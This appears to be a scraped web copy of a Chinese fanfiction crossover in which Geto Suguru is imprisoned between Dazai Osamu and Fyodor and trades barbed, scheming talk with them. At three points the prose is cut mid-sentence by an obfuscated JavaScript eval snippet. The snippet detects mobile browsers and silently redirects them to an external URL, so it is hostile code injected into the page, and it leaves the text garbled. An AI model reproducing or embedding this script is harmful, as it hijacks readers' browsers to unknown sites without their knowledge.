《狱友是剧本精是怎样体验?》 1. 第 1 章 两道陌生的脚步声偶尔重叠,耳边传来滚轮滑过地板的骨碌声,夏油杰被捆在层层束缚带底下,动弹不得,他蒙着厚厚的眼罩,迷茫极了,下意识琢磨自己究竟是被看扁了还是被高估了。 虽然他做法偏颇且地图炮,整个就一愤世嫉俗撞了南墙还不回头的勇士……啊不对,勇士这个称呼应该给同期们用,自己是那个搞完歧视链后嘲讽主角就跑去送经验的垫脚石。 但再怎么样,他也不至于被当成随时暴起咬人的精神病对待吧? 扪心发问,如果不是他有意放任,这东西对咒术师有用吗? 有、用、吗?!! 夏油杰承认自己现在很丧,甚至有着丧过头了当场下葬的安详,但不代表他逃不出去,没暴起反杀的原因很简单:他不是个输不起的人。 三天前,目睹人类残害咒术师同胞的恶心剧情后,夏油杰彻底跌落人性深渊,当他满身血液牵着双胞胎姐妹出村时,遇到一个自称特殊镇压作战部队猎犬的军警,对方明明没有咒力,感官却十分敏锐,近乎直觉地扭头观察空中凝聚的恶意,视线没有落点,却能在咒灵间隙中左躲右闪,然后一个跃步跳到夏油杰面前,用长刀控制住他。 普通人能有这种身手?! 这个疑问在脑海中停留不到半秒,他就眼前一黑昏死过去,之后发生的事情没什么好提的,虽然疑惑这是哪里,但夏油杰刚往鄙视链的上层试探性迈出一步,就被看不起的普通人一脚踹回深渊,再也没资格嘲讽普通人是弱者了。 什么弱者?他才是弱者,那个军警简直是地狱使者。 本该一恶到底但思维不幸卡在转变中间的夏油杰摆的理所当然,摆的心平气和,反正军警承诺过会妥善安置营养不良的菜菜子和美美子,他自然投桃报李,放弃抵抗,保持着败者该有的沉默。 但夏油杰不知道的是,他放任自流的态度让狱警感到迷惑,屏幕上监视犯人呼吸心跳、血氧眼动、肌肉动作和脑电波的仪器显示:半分钟前犯人情绪剧烈肌肉绷紧,只差反抗了,然而短短几秒过去,对方心甘情愿地放弃挣扎。 这迷惑的情况让狱警一号情不自禁地发问:“确定要把他放到那两个人中间?福地队长真是这么说的吗,他资料写了才高三,不会被那两个社会败类玩到狱中自杀吗?” 作为狱警,哪怕他们常年身处欧洲异能监狱待命,也知道那两位特危罪犯的赫赫威名。 一个是地下组织死屋之鼠的首领,从未被人知晓异能效果,是声名狼藉的跨国通缉犯;另一个原港口黑手党干部,莫名恢复的证据记录了他罄竹难书的罪行,被敌人称作心操师,曾经常年压在横滨黑手党头顶的阴影双黑之一。 异能是大多数特殊人群站稳脚跟的依仗,却并非两人的立足之根,他们真正让人胆寒的是聪明的大脑,几个不经意间抛出的引诱,就叫敌人欣喜若狂地奔赴死亡。 狱警二号翻了翻手里的文件,上面写着夏油杰的入狱信息,其实同事有一句话说错了,这位罪犯同样身份特殊,全球查无此人,详细资料全靠抓他进来的军警询问,因是其本人应答,真实性有待考究。 但有一点可以确定: “他在短短几小时杀了一百一十二人,送进来的军警说,如果不是对方心神恍惚,被两个孩子束手束脚,抓捕起来没这么容易……这家伙的异能力有点怪,文件描述是‘密密麻麻到处都是,像块果冻把人类包裹住,肉眼根本看不出来’,疑似控制类。” 狱警一号关注重点完全不同,大声叹气:“唉,我想起来了,那个关押双胞胎的神经病村子对吧?不知道从哪冒出来的偏僻小山村,据说周围镇子无人听闻过,幸好小姑娘被救出来了,希望她们能在医院好好养身体。” 两个狱警聊着各自感兴趣的话题,还聊的有来有回。 “这么多空房,为什么要让他们三个挨在一起?”狱警一号再次吐槽,“不知道还以为默尔索预算不够,只有这片角落装监控呢。” 狱警二号盯着屏幕上的画面,押送犯人的同事刚把束缚带解开,新人披头散发视线茫然,站起身,被踉踉跄跄地推进金色牢房。 他耸了耸肩:“上面的要求,理解一下。夏油杰的异能说不定能远程控制太宰治。”说到这他打了个寒颤,声音渐低,仿佛在说悄悄话,“毕竟,那家伙可有着消除异能的异能。” 这种奇诡的消除能力本该是重大机密,然而天人五衰、也即武装侦探社为了取信于本国政府,极少隐瞒社员资料,事发后这份文档被迫转交到欧洲异能组织和世界警察手里,作为应对跨国犯罪组织的策划资料补充。 其中详细讲述了人间失格的局限性,太宰治无法消除异能力造成的后果,假若他踏进异能创造的环境里,必须触碰到主体才行,异能特务科还在后面举了个例子“龙彦之间和白雾”,令欧洲组织想起之前他们差点得手的轰炸横滨事件,以及现在被迫蹲在无限赛室里的太宰治。 总之就是各种不放心。 默尔索是异能监狱,但这俩人智力远远要比异能恐怖,多加重保险总归是好的。 于是夏油杰的资料巧合地进入到这群人眼里,他年轻气盛,没有背景和派系,跟任何世界闻名的恐怖组织都搭不上边,又有把柄——两个小女孩——落在军警手里,异能还疑似作用于空气,简直是天选之子! 哪怕只能控制太宰治几秒钟,也足够默尔索监狱稳住场面了。 是的,比起死屋之鼠费奥多尔,那个棘手的反异能者太宰治、从港口黑手党跳槽到天人五衰的极恶之恶,才是他们真正严阵以待的对象。 心疼双胞胎的狱警犹豫:“可是……夏油杰的异能力不是尚未确定?” 同事目不转睛看屏幕,敲下键盘,关押新人的金色方块自动升高,“他比默尔索的其他犯人好控制,几张照片、一段录像、再用双胞胎的救助金威胁两句,他会遵从的,反正是关键时刻阻止下狱友而已。” 屏幕里,毫不知情的夏油杰坐在床上,满脸迷茫。 他不知道自己跟山村一起穿越,也不知道自己被认成异能者,仍发自内心认为军警中战斗力最强者未广铁肠是普通人,自己失败后被扔回咒术界关押收监了。当然不清楚他位置是安排好的。 但太宰治和费奥多尔当然知道。 ——他俩的对决怎么会插进一个普通人? 夏油杰觉得邻居们的氛围非常古怪,带着股他融不进去的默契,犹豫几秒,他决定打个招呼就当聊过天了:“你们好,我是夏油杰,东京咒高的三年级生。” 对面两个人表情非常……呆滞? 仿佛听见意料之外的迷惑新闻,根本不想控制表情,一个歪头一个眨眼,异口同声重复他的话:“你是高中生?”、“您竟然是学生?” 有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258678|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 全咒术界都知道三分之二的特级是学生,聚在东京高专,这还不能够说明实力不与年龄成正比吗? 难道是觉得他被学校除名了? 夏油杰怀疑自我,主动解释:“……我只能算肄业吧?学籍档案还在老师手上,再怎么说我的能力也勉强值得被录进学校资料库里,无论以哪种身份。”察觉自己要讲大道理的夏油杰生生扼住讲下去冲动,转移话题:“说起来,这是哪?” 总监部?看着不像,难不成是北海道附近的咒术联盟? 他坐在铁架单人床上指了指四周悬浮的方块,非常魔幻的景色,跟想象中的阴森场景截然不同。但隔壁俩邻居好像看惯了,其中那个疑似受伤严重的绷带青年意识到他不准备讲八卦后就托着腮发呆,外国年轻人倒是用标准日语回答他:“默尔索监狱,先生。顺便一提,对您学业一事我深表遗憾。” 夏油杰心想大家都是诅咒师你遗憾什么,如果他没叛逃,现在就该带着咒灵大军捣毁诅咒师窝点了,他露出尴尬而不失礼貌的微笑:“呃、谢谢?” “噗嗤——” 看着在走神的绷带青年突然发出笑声,他略过夏油杰的肩膀直直看向瘦弱的外国人,阴阳怪气嘲讽道:“魔人,别欺负人家小孩子,你怎么不祝我事业有成、梦想成真呢?” 外国友人立刻遗忘夏油杰,微笑地看过去,他用妥帖绕口的日式敬语,发自内心地欢喜雀跃道:“如果这是太宰君的心愿,我会满怀期待祝您现在就去死。” 被齐齐无视的夏油杰:“……” 这两人没问题吧?好神经啊,神经到他一个新晋诅咒师都受不了了。 高层想研究他的咒术,也不至于找两个神经病诅咒师当狱友打发日子吧。 等等,夏油杰猛地一个激灵,他在自闭中放弃运转的大脑总算恢复了,严肃地思索到。 想想在路上听到的各种开门口令、指纹验证、瞳孔检测吧。 咒术界真有如此高深莫测的科技水平吗?? 可普通社会怎么会有漂浮起来的封印发光装置? 夏油杰表情微变,他扯了扯一直没被放在心上的白色囚服,确认咒术界没发展到穿规模化囚服的程度,于是闭眼仔细感受空中的咒力,重点排查脚下的金色方块。 没有。 什么都没有。 没有咒力,没有束缚,没有结界,没有咒符,没有帐…… 唯一的咒力源是他本人! 夏油杰睁开眼,顾不及两个狱友眯起眼睛若有所思的表情,情绪在愕然中激烈震荡,大脑不受控制的一片空白——这不是咒具或者咒力封印。 这是普通人的科技。 不是。 普通社会什么时候有这种技术?!! 他跑去咒术界进修的几年,社会居然偷偷发展成他不认识的样子!外星人难道是真的?高达终于要研究出来了?全息头盔能玩宝可梦吗?人工智能是否将成为现实?不对劲吧,他手机甚至是翻盖的! 该死的不会变通的日本保守社会,他排了五小时队才发现苹果手机店进货量不够,半年过去了,他都没抢到今年年初首发的iPhone智能机,差点飞到欧洲去蹲供应商的家门。 夏油杰坐立难安,非常窒息。 救救他,谁快来救救他,跟不上时代的老古董烂橘子竟是他自己?! 2. 第 2 章 他的狱友们都非常体贴,比自己同期们擅长当人多了,第一时间发现夏油杰表情不对,看着就礼貌的外国青年等他焦虑完,才客气追问:“您有什么烦恼吗?” 另一个被叫做太宰的狱友慢悠悠道:“不要理他,少年,我还认识个数学老师呢,现在也离职去打工了,哎呀,人生真是变幻无常,比如你前一秒还在东京享受人生,现在就当场入狱了。” 夏油杰尴尬:“呃、但我不是在东京被抓的。” 太宰治心想难怪没听过东京有什么咒术学校,果然炸出来点线索。 他轻巧地放弃追问,换了个话题:“既然是学生,老师应该教过你别跟陌生人聊天吧,少跟旁边的老鼠搭话哦,会被传染鼠疫的。” 被人骂老鼠,外国青年也不恼怒,反而温柔地介绍起自己。 “你可以称呼我为费奥多尔,至于太宰君,他向来不喜欢我。”这人叹了口气,却不见悲伤,友善邀请,“您要来参加我们的兴高采烈烦恼商量会吗?” 背后传来太宰猫捉老鼠似的配音“喵~”,尾音拉的很长。 这什么鬼名字? 夏油杰怀疑自己被送进精神病院里了,漫画说得好,超能力犯罪者的最终归宿都是精神病院,至于监狱是给普通人留的。 他抱着打探消息的心思:“座谈会?” 刚才还在跟他聊天的费奥多尔摇了摇头,不再开口,而是略过夏油杰的肩膀看向太宰治。 夏油杰:??? 感觉被排挤的他左看看右看看。 这两个人从一开始就弥漫着夏油杰无法插入的默契,比如现在,费奥多尔笃定太宰治会开口解释,哪怕太宰治刚提醒过夏油杰,不要跟老鼠聊天,而夏油杰却选择性忽略了。 “你确定要参与?”太宰治坐直身子,收敛起挂着脸上的笑容,看着很吓人,半晌过去,确认夏油杰真打算掺进浑水里,他才换了条交叠的腿,重新露出百无聊赖的表情。 太宰靠在金色透明墙壁上,懒洋洋说:“不是小孩子的座谈会,是商量,要兴高采烈地说出自己的烦恼,等待别人提建议,要我说,想出这种话题的人可真扭曲。” 费奥多尔一味地微笑:“果然是太宰君,一下就猜到我的本意。” 夏油杰心里暗暗皱眉,无论是刚才太宰治变幻莫测的危险气质,还是费奥多尔一直假借他的存在逼迫太宰治开口,都很古怪。 “既然没人拒绝,”费奥多尔开心地举起手,“那我宣布,第一届兴高采烈烦恼商量会正式开始!主持人是我。” 太宰打断了他:“不过我的烦恼都很难解决啦,不管怎么跳河都会被路人救下来,想找咖啡店女员工殉情却被拒绝,还要求我还清立刻欠债,明明说好把账单记在同事身上,可同事们只会冷漠地让我用工资抵债。” 夏油杰:“……” 他叹为观止:“真应该让学姐看看,我和悟才不是什么人渣。” 看着温良耐心的费奥多尔却提议道:“这个简单,只要太宰君每天在侦探社里什么都不做,我会很开心地帮你死亡的。” 太宰搓着手臂恶寒:“谁要被男人杀死!我的梦想是殉情。” 费奥多尔:“那就把女店员的人际关系全部斩断,然后威逼、利诱、语言感化,她就会离不开你,又不想生活在世界上,只好跟你殉情了。” 夏油杰皱了皱眉。 然后,他想起被自己杀死的村民,觉得自己没什么资格指手画脚别人的罪孽,又安详地舒展开了。 算了算了,他也不是个好东西,监狱三人渣会晤罢了。 太宰治和费奥多尔其实都看见他的表情变化,两人也没指望夏油杰提出点建设性意见,对于他还有正常人的道德观念中这事,太宰乐见其成,这证明在未来是对决中自己有很大的优势——把人拉拢过来的优势。 虽然不知道欧洲异能监狱在发什么疯,但把夏油杰送到这里,总归有点用处吧。 太宰嘴上不停:“轮到你了,魔人,可别让年轻人走在你前面啊。” 毕竟这场商量会的本质,是给两人一个试探对方的机会。 费奥多尔表情不变:“我的烦恼是属下太笨了,每次指挥一次才动弹一步,偶尔还会把计划搞得一团乱,有时候真想看看他们脑子里装了什么。” 太宰较有兴致:“哈哈,我可记得,你把自己属下的神经切除了,就为了让他不再感知痛苦,原来老鼠的手下是小白鼠吗?不愧是名叫死屋之鼠的组织呢。” 一直竖起耳朵光明正大偷听的夏油杰:“!!!” 他转头震惊看向费奥多尔。 瘦弱贫血的年轻人露出一个极具涵养的微笑,神情包含慈悲,却没有否认。 “……” 这个世界上的普通人,终究发展成夏油杰不理解的癫样。 费奥多尔不仅不辩解,反而得寸进尺:“太宰君,你还没给我解决烦恼呢,你教导出来的学生行动力非常强,哪怕跳槽到其他地方工作,也要把你找出来,为此可在横滨引出不少骚乱呢。” 太宰仗着芥川不在,肆无忌惮地夸赞道:“这说明我眼光好,总能挑到好学生,不像你,摊上两个头疼的属下,要我说干脆什么都别做,等他们有危机感后,就跑去主动做事了。” 费奥多尔假笑:“原来如此啊哈哈哈哈哈。” 太宰治假笑:“就是这样啊哈哈哈哈哈。” 多次被排挤的夏油杰不知道该不该紧随大部队。 他揪了揪变长的头发,试探性的:“哈,哈哈……?” 这两人冷不丁默契收声,仿佛刚才虚假的干笑不存在一样,视线诡异地盯着他。 夏油杰坐立难安:“呃、我不应该笑吗?” 现在的普通人这么难打入群体? “不,没什么。”太宰治语气微妙,所以这家伙还真什么都不知道啊,侦探社是天人五衰的事太过耸人听闻,全世界都在关注,按照夏油杰刚才透露的只言片语,被关押前他不在东京,难不成是什么与世隔绝的偏僻山村? 刚才他和费奥多尔看似在讲犯罪的一百种方式,实际上一直在故意恶心对方。 费奥多尔的潜台词是,太宰治以前干得坏事也不少,威逼利诱买凶杀人,真以为洗白档案就当不存在?这么想死,就老老实实放弃抵抗,看在以前斗争的份上,他处理完侦探社自然会送他一程。 太宰治的意思也很明显,有本事你也什么都别做,这样你的属下自然就会主动地把计划搞得一团乱,看看,多有自主性,多有行动力。 而什么潜台词都听不懂的夏油杰只觉得人生悲惨,蹲局子就算了,隔壁两个狱友看起来人模人样,实际上跟自己一样不是什么好东西。 后半辈子无望。 想打入其中,又觉得自己罪不至此。 在夏油杰犹豫之际,费奥多尔语气轻柔问:“夏油先生也来讲讲吗?” 他顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258679|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时:啊?不是你主动邀请我参加的吗? 不过太宰开了个好头,费奥多尔又紧随其后,夏油杰感觉自己不仅被同化,连道德低谷都跟着隐约拔高了点——主要是跟他俩对比出来的错觉。 可让夏油杰谈心实在太为难,他连挚友都没倾诉过,只好艰难地剖析自己的低落:“我被一个普通人抓进来,他速度很快,我根本不是对手。” 这两人齐刷刷看向他。 半晌,发出‘哦’的声音,一个人刚说“原来是他啊”,另一个人就道“他居然没去追侦探社?”,把夏油杰这个被抓来的当事人排除在外。 偷听的狱警们勉强跟得上两人的话题思路,但刚穿越的夏油杰实在听不懂,他打断道:“抱歉,你们谁能详细解释下这人是谁吗?很出名?让你们听见描述就能认出来……以及我为什么被关押在这里。” 最后一个问题对他的精神压力很重要! 周围两人这么年轻,怎么谈起违法乱纪跟喝水一样,又不是跟他一样年纪轻轻面对咒灵和诅咒师,就算是大型青少年劳改监狱也不至于这样吧! 费奥多尔说:“你口中的普通人可是追捕太宰君所在的武装侦探社的主力之一,既然有闲心去忙其他事,恐怕侦探社早已全军覆没了吧。” 太宰治不爽的“啧”了声。 通过刚才的商量会,夏油杰发现了,太宰治说得对!看上去是个好人的费奥多尔其实更可怕,反倒是一直阻止他跟别人聊天的太宰治倒还好点。 所以他对太宰治上班的侦探社有点好奇。 “为什么叫全军覆没?” “当然是因为——” 费奥多尔:“侦探社是恐怖组织天人五衰的伪装。” 太宰治:“被该死的老鼠算计,感染上甩不掉的鼠疫了呗。” 两人异口异声,重叠在一起,夏油杰脑袋都大了。 “稍等稍等,为什么我一样都听不懂,有谁可以给我讲解下前景提要?玩宝可梦还有个主线剧情呢,除了你俩的姓氏,我现在一个标点符号都不了解。” 费奥多尔本人温和地强调:“是名字,我叫费奥多尔.米哈伊洛维奇.陀思妥耶夫斯基。太宰君的全名是太宰治,至于其他信息……我建议您找狱警索要。” 夏油杰疯狂心动,他真的很懵,有种自己是刚从动物园里出来的猴子误入人类社会的茫然感,语气不自觉带上脱离苦海的期待:“怎么找?” 说完,还四周看了看。 这个奇怪的牢房漂浮在半空中,哪怕知道这不是咒具,依然让夏油杰心生惊叹,仿佛看见不该存在的奇景从漫画书中浮现,他不自觉地伸手触碰,半透明的金色方块荡开一圈涟漪,温柔的拒绝了他。 这不是咒具。 夏油杰想,这是来自普通人的奇迹,跟那个用一柄刀制服了他的军警一样,是普通人的奇迹。 他没在床架和座椅上找到按钮,转头用视线询问两人。 主要是问太宰治,这位浑身缠绷带的青年看着不客气,实际上每句话都在提醒夏油杰什么。跟表面好心的费奥多尔截然相反。 “直接说,狱警先生们一直听着呢。”太宰治歪头看向半空,视线落点在空无一物的方块间隙之间,勾起唇角,语气意味深长,“反正都是些全世界传遍的基本信息,狱警先生应该会给夏油同学一点甜头吧,毕竟……他的牢房在我和魔人之间。” 不给点甜头,怎么指使人家年轻人办事呢? 3. 第 3 章 抱着厚厚的一沓档案,夏油杰感到微妙的安心,果然,再怎么高科技的监狱,保存机密也会跟咒术界一样选择使用纸质档案。 而通过刚才的监视,狱警默认夏油杰是个多年不曾踏入大都市的编外野人——见鬼,这人怎么在东京上的学,一问三不知,如果不是退学肄业跑进小山村好几年,他想不出其他原因了。 总之,送来的资料格外多,大多数是侦探社以前公开受理的案件,以及少量天人五衰摘下头套被捕一事的文字叙述,再往后的信息被人为抽走了,这是为了避免太宰治和费奥多尔得知外界信息的防御措施。 谁知道他们有没有办法把新人套话了。 夏油杰看完前面,只觉得一堆另类世界观强行塞进脑子里,他翻了翻,没找到后续,干脆对着空荡荡的蓝色档案皮发呆。 异能力者,天人五衰,武装侦探社,军警猎犬,跨国犯罪集团…… 而他自以为的无术士普通人,其实是军警里公认战斗能力最强的末广铁肠。 好魔幻,这还他是原本的世界吗?! 夏油杰表情安详,透露着一丝丝崩溃和麻木。 他现在无比想念咒术界,工作地点只局限在本土,偶尔去国外出差也不用太久,周围的同事前辈全是熟人,学校也才两家,闲着没事上上课,再被辅助监督送去祓除几个诅咒……所以说世界异能大战是什么鬼! 夏油杰都不敢想,让咒术界参与到世界大战的惨状。 到时候,他是跟国外咒术师打?还是跟过来浑水摸鱼的诅咒师打?还是跟战场上诞生的咒灵打? 头疼。 非常头疼。 不过吧,夏油杰的视线转移到太宰治身上,怎么说呢……人不可貌相,这家伙所在的武装侦探社居然是跨国犯罪集团。倒是隔壁那位秉性不定的外国人,竟然只是一个情报贩子。 想一想费奥多尔刚才说的话,确实,属下太散漫会影响收集效率,还容易导致情报的失效,难怪费奥多尔苦恼。 两人暗中将他表情变化收入眼中,赶在费奥多尔套话之前,太宰治抢先开口,他挑眉笑吟吟的:“盯着我看干什么?” “有点震惊,”猜到自己成为两人聚焦点的夏油杰眯了眯眼,他短暂抛却咒术界的烂事,露出习惯性的假笑,“咖啡店员工居然敢找犯罪成员要钱、还允许你挂账到别的同伙身上,哦,对了,天人五衰还发工资?” 不知道听见什么奇怪的内容,太宰治噗嗤笑出声音。 “哈哈哈哈,你说得对,天人五衰发工资。”青年笑到眼泪都快流出来了,他一边目标明确地转头看费奥多尔,一边阴阳怪气咬着字句重复,“天人五衰、居然、发工资诶。” 夏油杰敏锐地察觉到不对劲。 听两人交谈的语气,怎么比起武装侦探社,费奥多尔其实才是天人五衰的成员。 他感到一丝违和感,原本准备摆烂的咒术也捡起来了,夏油杰不动声色地召来一只弱小的蝇头,循着狱警离开的方位,穿过厚重的墙壁和无数密令加封的保护门飞了出去。 同一时间,太宰治和费奥多尔齐刷刷侧目。 然而他们两个什么也没看见,狐疑地打量起夏油杰,刚才那股微不可查的恶意绝不是错觉,可作为源头的夏油杰本人仍维持着倾听的姿势,根据微表情观察,这位学生不仅没产生恶念,反而还在催促和好奇。 好奇什么? 侦探社和天人五衰以及死屋之鼠三方势力缠绵悱恻的爱恨情仇吗? 太宰治无语,这性格究竟怎么养成的,谷崎和直美也是学生,在侦探社里也算得上身经百战,都不见夏油杰这份在俩知名罪犯中间听八卦的底气。 他俩脑海中同时闪过一个念头。 夏油杰的异能,估计很强。 只有长期处在强势地位不曾动摇的人,才会因为被人打败而低落,同理,因为太强了,所以才反应不过来要提高警惕这事。 下一秒,这些念头就变成各种拉拢和抹杀的计划了,前者是太宰治,而后者主要是费奥多尔。 根据为期半小时的判断,费奥多尔早发现夏油杰根深蒂固的正常学生思维了,再给他几天,或许能改掉,可惜被末广铁肠硬生生打回来了。 倒不是不好骗,但太宰治在旁边,某种意义上,他抢人的手段还真比不过这家伙。 难以理解,太宰治的狗性格是怎么样让别人死忠的??? 而他,坑蒙拐骗个果戈里回来,还天天惦记杀自己,真烦。 想不通的费奥多尔刚准备试探,结果再次太宰治抢先了。 黑发青年一边露出恶意满满的笑容,一边语速快的像机关槍:“你对侦探社好奇?还是对天人五衰?” 武装侦探社=天人五衰。 果然,这个情报的可信度存疑。 夏油杰眯起眼睛,觉得太宰治是故意提醒他的,他露出常年糊弄挚友的假笑,“都有点,侦探社成员的每次行动都在公众眼下,平时怎么出国策划犯罪行为的?” 好问题,一击毙命。 他抛出这个疑问不仅仅是好奇,还想知道监听对话的狱警有何反应,但两位狱友非常悠闲自在。 太宰治认真思考起来:“哎呀,这么说的话,只要假借探案的名义,留下线索教唆他人;或者让谷崎伪造成全员都在的场景,就能很轻松的办到了吧。” 夏油杰:“???” 不是,等等,你和侦探社到底是不是被冤枉的好人。 难道他之前的猜测全错了? 世界上真有喜欢常态化工作、紧随现代潮流、会定期发工资、偶尔到咖啡店聚餐、还有同事爱的犯罪组织? 不等夏油杰自我怀疑,费奥多尔赞许紧接着到来:“没错,如果是我,会给部下发送远程指导吧,反正头脑的作用是布置计划,这么一想,现代科技可真便捷呢。” 是啊,他也好想追求现代新技术,比如蹲了半年也没买到的智能手机。 夏油杰怨念地想。 不过他稍微松了口气,原来不是这两人性格互换ooc了,而是他自以为找出来的漏洞,对他们来说,只是个比试的小游戏。 连着被太宰治抢先两次,费奥多尔好不容易抓住机会开口,自然不会放过,他礼貌地表达好奇:“请问,我能知道夏油先生被逮捕的原因吗?” 外国人对自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258680|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说敬语好怪,真应该让悟来看看! 想起同期,夏油杰不免走神,这半年来纠缠自己的种种噩梦再次席卷,不仅有理子死亡时被人拍掌叫好的画面,还多了菜菜子和美美子瘦骨嶙峋抱在一起的场景。 ……以及他杀死村民时满地的血水。 那血水仿佛流淌不停的毒药,浸透了他的鞋袜、手掌、发丝,在鼻尖萦绕,将多年来祓除咒灵的记忆蒙上血色滤镜。 夏油杰却感受到了整个人被净化的宁静。 他流露出来的表情亦是如此,安宁且舒缓,不自觉带着微笑,内心的骄傲让他不屑说谎和隐瞒:“杀了一百多个人。” 费奥多尔心里迅速判断,总数目应该不值得被转进默尔索来:“一天?” 他得推翻下原本的观察信息了。 夏油杰迟疑:“对,准确说是一小时?不记得了,反正没人能活下来。” 虽然他不叫那群村民是猴子了,但也没准备重新把他们当人看。 “哇哦。” 太宰治表情古怪,如果还在港口黑手党,他会认为孺子可教,有追求的人训练起来最容易上手。 问题是,他准备当个好人啊!那夏油杰的存在就危险了! 看看夏油杰的神态吧,完全不是泄愤,而是理想得到满足后的平静。 这不就是第二个苍王吗!! 为了复仇杀人,为了利益杀人,为了冲动杀人,太宰治都有解决办法。 唯独为了大义…… 难办,真想把他扔给国木田,年轻人就好好去学校读书上课,瞎想什么乱七八糟的东西,现在好了,被猎犬抓来蹲局子了吧。 太宰治和费奥多尔对视一眼,彼此心知肚明。 此刻,攻守逆转了。 首先是咒术学校,听着就与费奥多尔自诩为神有极高适配性,其次他俩都明显有一个跟常理不容的理想,万一夏油杰也认为异能是什么破玩意,希望创造只有普通人存在的世界,那完了。 带了打手的魔人,和独自被困的魔人,是两种危险等级。 倘若真有那天,太宰只能祈祷敦君尽快救回虫太郎,让安吾腾出时间捞自己了,实在不行把夏油杰挪到其他位置也行啊。 不过,太宰治估摸着,魔人的计划应该不会这么简单,虽说军警难以应对,但港口黑手党不会眼看着黄昏走向落幕,侦探社一定能找到自证清白的线索,而组合的首领弗朗西斯也会在旁帮忙…… 太简单了。 简单到不像魔人的手笔。 在他还没跳槽的时候,费奥多尔就跟港口黑手党打过交道,肯定知道森先生以横滨为先的理念,组合更是被他亲手送到侦探社眼前,弗朗西斯的落败也有被他放弃的一部分原因。 不合格的棋子就丢掉,太宰治以前擅长这个,因此他理解费奥多尔的做法,但棋子自己刷上白漆跑到敌人手里……这种可能性,魔人不会忘记。 肯定还有其他被忽略、没显露的苗头在浮现。 可恶,太宰治突然不爽地啧了下。 魔人到底怎么联系的外界?他有预感,只要把这点弄清楚,他就明白费奥多尔接下来的计划了。 4. 第 4 章 忽然得到嘁声的夏油杰有点懵,他纳闷地看了一眼太宰治,秉承着有来有往的社交理念,他主动询问:“你呢?” 太宰治现在看谁都不爽,平等讨厌每个狱友:“以前洗白的档案被人翻出来了,真烦,早知道跳槽前往身上撒点四亚甲基二砜四胺了,明明我的新工作还是政府某个部门老大找的。” 听到一串化学名,夏油杰愣了会才意识到,这是有名的毒鼠药,问题是它早被封禁了,毕竟吧这玩意不仅毒老鼠,更加毒人……等等,费奥多尔好像两个种类都占了。 夏油杰面色古怪地抬头看了他一眼。 哇,这家伙脾气不是一般的好,短短半小时被挑衅这么多次,都不生气。 他有预感,以后的监狱生活绝对不无聊。 被怜悯的费奥多尔歪了歪脑袋,“咦?轮到我了吗?我是被太宰君揭露的位置,明明只是让侦探社社长和黑手党首领性命相连,杀死讨厌的前上司就行,结果却恩将仇报把我抓进来,难道太宰君还对港口黑手党抱有一丝温情?” 夏油杰记得资料上写过,太宰治以前是港口黑手党的干部,脱离原因不明,后加入疑似‘天人五衰’的武装侦探社,欧洲国际警察猜他是‘为了更伟大的利益’。 不愧是欧洲,到处都有哈利波特的狂热爱好者。 太宰治表情嫌恶,看不出一点深藏伟大理想的迹象,这话题还没他手臂上缠的绷带吸引本人兴趣,手指勾着脱落的绷带一甩一甩玩。 “我回去了会吓到森先生的,这么一想,好像——”他恶劣地拉长声音,可惜默尔索里没有黑手党的熟人,得不到想要反应的太宰率先觉得无聊,“好像还是不想回去呢!谁要回到墙壁涂得黑漆漆的、住久了心情不好的旧公司啊。” 所以你叛逃原因是工作环境太差劲? 夏油杰无语,此时被他扔出去的蝇头也找到目标了,他没办法连接咒灵的视野,只好让它先吞下这些纸,然后取消咒灵操术,把它收回身体,准备等狱警和狱友们睡觉了再看。 这么想着,困意涌上心头,夏油杰这三天只睡了两小时,还是被注射镇定剂后才变得安稳,现在疑似远离了咒术界,至于是深入到另一个不曾察觉的隐藏里世界、还是干脆穿越了,等他睡醒后再说吧。 作为全世界仅存的三位特级之一,夏油杰自信能随时闯出监狱。 经过实践证明,异能者看不见咒灵,无论是把他抓来的末广铁肠,还是深受全球忌惮的太宰治两人,都看不见蝇头的身影。至于科技探测器?如果有用,咒术师就不会年纪轻轻的遗憾死去了。 他对自己能随时离开这件事充满了自信。 眼见新人找了个舒服的位置躺下,太宰治只好祸害费奥多尔。 要他说这才是正确节奏,狱警突然送新人过来,导致他跟魔人演对手戏时走神好几次,两人心照不宣的互演跟旁边多了个不明就里的观赏者是不一样的,有种登台表演的微妙。 他估计魔人也有类似感觉,被自己打断好几次后,干脆问了个不重要的问题,虽然直接炸出大新闻吧。 太宰换成俄语跟费奥多尔闲聊:“你的商量会还开吗?” 费奥多尔歪头:“?” 